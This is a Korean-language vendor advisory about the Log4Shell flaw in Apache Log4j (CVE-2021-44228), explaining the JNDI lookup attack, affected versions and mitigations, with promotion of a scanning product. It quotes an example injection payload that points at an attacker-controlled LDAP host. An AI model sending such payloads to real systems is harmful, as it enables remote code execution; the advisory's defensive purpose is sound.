Log4Shell: Apache Log4j 원격 코드 실행

중요한 Java 로깅 유틸리티 Log4j의 인증되지 않은 RCE





2021년 12월 9일 Apache는 Log4j 2 유틸리티에 수많은 애플리케이션에 영향을 미치는 심각한 문제인 인증되지 않은 원격 코드 실행(RCE)을 허용하는 치명적인 취약점이 포함되어 있다고 밝혔습니다.

이 게시물은 Chetan Conikee, Fabian Yamaguchi, Katie Horne이 공동으로 작성했습니다.

영향을 받는 것은 무엇입니까?



Log4j는 Apache Struts2와 같은 많은 주요 프레임워크에 종속성으로 포함된 인기 있는 오픈 소스 로깅 패키지입니다.

Log4Shell RCE 취약점은 공격자가 Apache Log4j의 취약한 버전을 실행하는 서버에 요청을 보내 임의 코드를 실행할 수 있도록 합니다. 이 공격의 이름은 "Log4Shell"이며 CVE 번호는 CVE-2021-44228입니다. Apache Log4j 버전 <=2.14.1은 공격에 취약합니다.

공격은 어떻게 작동합니까?



로그를 구문 분석할 때 Log4j는 수신한 입력을 검사하고 입력에 포함된 변수를 해결하려고 시도합니다. 특히 Log4j는 네트워크를 통해 변수를 검색할 수 있는 JNDI 조회를 지원합니다.

애플리케이션이 취약한 Log4j 버전을 사용하는 경우 공격자는 먼저 악의적인 페이로드 ${jndi:ldap://attacker.com/abc}가 포함된 문자열을 애플리케이션에 보낼 수 있습니다. 여기서 공격자.com은 공격자가 제어하는 ​​서버입니다.

취약한 애플리케이션은 ${}에 포함된 입력을 JDNI 리소스로 해석하고 공격자.com에 리소스 검색을 요청합니다. 공격자는 원격 Java 클래스 파일을 되돌려 보낼 수 있으며, 그러면 취약한 응용 프로그램에 의해 로드됩니다.

이 문제를 어떻게 해결합니까?



이 취약점으로부터 코드를 보호하려면 log4j 라이브러리를 최신 버전으로 업그레이드하십시오. log4j 2.15.0부터 취약한 조회 동작은 기본적으로 비활성화되었습니다.

라이브러리를 업그레이드할 수 없는 경우 다음을 통해 이 취약점을 일시적으로 완화할 수 있습니다.
  • Java Virtual Machine을 시작할 때 log4j2.formatMsgNoLookups 매개변수를 true로 설정합니다.
  • Java 클래스 경로에서 JndiLookup 클래스 제거:

  • zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    


    ShiftLeft CORE( https://www.shiftleft.io/ )를 사용하여 다음을 수행할 수 있습니다.
  • 사용 중인 Log4j 라이브러리의 버전을 확인하십시오
  • .
  • 영향을 받는 이전 버전의 Log4j를 사용하고 공격자가 제공한 입력이 로깅 호출로 전달되는 코드 부분을 식별합니다.
  • Intelligent SCA을 사용하여 신뢰할 수 없는 소스에서 라이브러리에 연결할 수 있는지 확인합니다.

  • 애플리케이션 로그를 주시하고 비정상적인 활동이 있는지 검토하십시오. 자세한 내용이 제공되는 대로 이 게시물을 업데이트하겠습니다.

    무료 ShiftLeft CORE 계정을 얻으려면 https://www.shiftleft.io/register을 방문하십시오.
    Intelligent SCA를 사용하려면 ShiftLeft CORE 내에서 프리미엄 평가판에 등록하십시오.

    좋은 웹페이지 즐겨찾기